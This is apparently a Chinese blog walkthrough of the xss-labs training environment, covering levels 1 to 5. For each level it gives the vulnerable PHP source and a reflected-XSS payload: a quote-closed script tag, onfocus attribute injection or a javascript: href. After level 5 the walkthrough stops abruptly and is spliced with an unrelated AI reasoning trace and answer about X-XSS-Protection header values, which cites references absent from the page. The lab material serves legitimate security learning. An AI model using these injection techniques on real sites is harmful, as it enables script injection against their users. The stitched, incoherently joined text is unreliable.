-XSS-

链接

https://github.com/do0dl3/xss-labs

搭建过程非常容易的

搭建好之后,就可以点击图片开始闯关了 

第一关--JS弹窗函数alert()

显示payload的长度是4

level1.php?name=test

level1.php?name=test1

发现只要改变name的值就显示什么在页面上

没有什么过滤的

尝试一下

'"><script>alert('hhh');</script>

 <script>alert('1')</script>

两种都是可以的

看到弹窗

源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

第二关--闭合掉双引号

先尝试

<script>alert()</script>

应该是过滤了,没有出现弹窗

源代码

特殊符号被转换成实体了

没有被实体转义

"> <script>alert('xss')</script><"

闭合前面同时也闭合后面的内容

出现弹窗

 

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

第三关--过滤<>号,onfocus可以绕过html实体化(单引号闭合)

尝试

<script>alert('hhh')</script>

回显

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

htmlspecialchars函数只针对<>大于小于号进行html实体化

可以利用onfocus事件绕过

nfocus事件在元素获得焦点时触发,最常与 <input>、<select> 和 <a> 标签一起使用,以上面图片的html标签<input>为例,<input>标签是有输入框的,简单来说,onfocus事件就是当输入框被点击的时候,就会触发myFunction()函数,然后我们再配合javascript伪协议来执行javascript代码

也就是先触发,再执行代码

' onfocus=javascript:alert() '

 回车之后需要点击搜索框,才会出现弹窗

 

第四关--(双引号闭合)

<script>alert('hhh')</script>

源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level5.php?keyword=find a way out!"; 
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);  #这里把<>给删掉了
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>


双引号闭合,<input>标签,所以我们还能继续利用onfocus事件

" onfocus=javascript:alert() "

和上一关不一样的是这里是双引号闭合

第五关--a  href标签法

简单的测试一下,没有成功

 感觉和上一关的差不多的,接着测试

" onfocus=javascript:alert() "

 

 这一次没有出现弹窗的

 这里on被替换成了o_n,script也变成scr_ipt

源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);  #将所有字母转换成小写
$str2=str_replace("<script","<scr_ipt",$str);  #过滤js标签
$str3=str_replace("on","o_n",$str2);  #onfocus事件也被过滤
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

过滤了js的标签还有onfocus事件

这里用a href标签法

href属性的意思是 当标签<a>被点击的时候,就会触发执行转跳,上面是转跳到一个网站,我们还可以触发执行一段js代码

eg

"> <a href=javascript:alert()>hhh</a> <"

回车之后就点击hhh,就会弹窗了

这一关的前提就是闭合号<"">没失效,才可以达到目的

<think>首先,用户的问题是:“我想查找X-XSS-Protection头的值 请问Values for X-XSS-Protection header”。翻译成英文是:“I want to find the values for the X-XSS-Protection header. What are the values for the X-XSS-Protection header?” 用户提供了几个引用,这些引用是从站内引用的代码片段,但它们不是直接回答问题所需的。这些引用是关于PHP代码中设置X-XSS-Protection头的,但没有详细列出其值。 我从知识库中知道,X-XSS-Protection头是用于启用或禁用浏览器内置的跨站脚本攻击(XSS)过滤器的。以下是它的可能值: - `0`:禁用XSS过滤。 - `1`:启用XSS过滤(默认)。 - `1; mode=block`:启用XSS过滤,并在检测到XSS攻击时阻止页面加载,而不是尝试过滤。 - `1; report=<reporting-URI>`:启用XSS过滤,并将违规报告发送到指定的URI(但现代浏览器可能不再支持这个)。 用户引用中显示的值: - 在引用[1]中有:`header ("X-XSS-Protection: 0");` // 禁用了XSS保护。 - 在引用[2]中有:`header ("X-XSS-Protection: 0");` // 同样禁用了。 - 在引用[3]中有:`header ("X-XSS-Protection: 0");` // 禁用了。 - 在引用[4]中有:`header ("X-XSS-Protection: 0");` // 禁用了。 - 引用[5]是关于其他内容的。 所以,用户提供的引用中,值都是"0",表示禁用保护。但用户的问题是要查找所有可能的值。 我的回答需要基于可靠知识: - 标准值是: - `0`:关闭过滤。 - `1`:开启过滤。 - `1; mode=block`:开启并阻止页面加载。 - `1; report=<uri>`:报告模式(但已弃用或不广泛支持)。 值得注意的是,X-XSS-Protection头在现代Web开发中已被弃用。最新的浏览器支持Content-Security-Policy(CSP)作为更好的防护机制。这在引用[2]中提到了CSP。 用户指令: - 回答使用中文。 - 结构清晰,逐步解决问题。 - 生成相关问题(在末尾)。 - 使用$...$或$$...$$格式行内和独立数学表达式(但这里可能不涉及数学)。 - 引用的段落末尾添加引用标识(例如[^1]),但用户提供的引用是给我的参考,不是内容的一部分。用户说:“上述引用仅供参考,并不是用户真正的需求”,所以我应该基于问题回答,而不是直接引用这些。 用户上一次的问题:用户之前的消息是系统级指令的示例,但当前问题是直接的查询。用户说:“上述引用仅供参考”,所以我应该忽略这些引用,除非相关。 回答结构: 1. **介绍X-XSS-Protection头**:简要解释它是什么。 2. **列出值**:清晰地列出所有可能的取值。 3. **解释含义**:简要说明每个值的含义。 4. **现代替代建议**:提到它已弃用,推荐使用CSP。 5. **生成相关问题**:在末尾添加相关问题,如用户示例所示。 相关问题示例(基于用户提供的示例): 1. X-XSS-Protection头是如何工作的? 2. 为什么X-XSS-Protection被弃用? 3. 如何配置Content-Security-Policy来防止XSS? 确保回答真实可靠:基于Web安全知识。 最终回答大纲: - 段落1:解释头的作用。 - 列表值的部分:使用清晰的格式。 - 段落2:讨论弃用和替代。 - 相关问题部分:以“§§相关问题§§”开头,列出几个问题。 </think>### X-XSS-Protection头的取值详解 X-XSS-Protection是一个HTTP响应头,用于控制浏览器内置的跨站脚本攻击(XSS)过滤器的行为。该头最初由Internet Explorer引入,随后被其他浏览器(如Chrome、Safari)支持,但需要注意,它在现代Web安全实践中已被弃用,推荐使用更强大的替代方案(如Content-Security-Policy)。以下是该头的所有可能取值及其含义。我会逐步解释: #### 1. **X-XSS-Protection头的值列表** - **`0`**:禁用浏览器的XSS过滤器。如果设置此值,浏览器将不会尝试过滤或阻止潜在的XSS攻击。这在开发调试时可能有用,但在生产环境中不建议使用,因为它会降低安全性。 例如:在PHP中设置 `header("X-XSS-Protection: 0");` 会关闭保护(参考用户提供的引用[1][3][4])。 - **`1`**:启用浏览器的XSS过滤器。这是默认值(如果浏览器支持)。当检测到潜在XSS攻击时,浏览器会尝试清理或屏蔽恶意脚本,但不会阻止页面加载。适用于基本防护场景。 - **`1; mode=block`**:启用XSS过滤器,并在检测到攻击时完全阻止页面加载(而不是尝试清理)。这提供更强的安全性,因为它直接中止潜在的攻击执行。 例如:`header("X-XSS-Protection: 1; mode=block");`。 - **`1; report=<reporting-uri>`**:启用XSS过滤器,并将违规报告发送到指定URI(报告模式)。但此值已被弃用或不再受现代浏览器广泛支持,因为浏览器的报告机制已整合到其他标准中(如CSP报告)。 #### 2. **重要注意事项** - **弃用警告**:X-XSS-Protection头已被主要浏览器(如Chrome、Edge)弃用。因为它依赖于浏览器内置的启发式规则,可能产生误报或漏报。现代Web安全更推荐使用 **Content-Security-Policy(CSP)** 头作为替代,它提供更细粒度的控制(例如限制脚本来源)。例如,在引用[2]中,CSP设置为 `script-src 'self' 'unsafe-inline' 'nonce-...'` 来防止XSS攻击[^2]。 - **浏览器兼容性**:不同浏览器对值的支持程度不同: - Chrome:支持 `0`、`1` 和 `1; mode=block`,但从Chrome 78+开始默认禁用XSS过滤器。 - Firefox:从不支持此头。 - Safari:支持 `1` 和 `1; mode=block`。 - **安全建议**:在生产环境中,避免使用 `X-XSS-Protection: 0`,因为它会移除一道安全防线。优先配置CSP,并结合输入验证和输出编码来防御XSS(参考引用[4]中的过滤示例)[^4]。 #### 3. **配置示例** 在PHP中设置该头的代码示例: ```php // 启用XSS过滤并阻止页面加载(推荐模式) header("X-XSS-Protection: 1; mode=block"); ``` 如果您有特定场景(如调试或旧系统兼容),请提供更多细节,我可以进一步解释优化方案。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值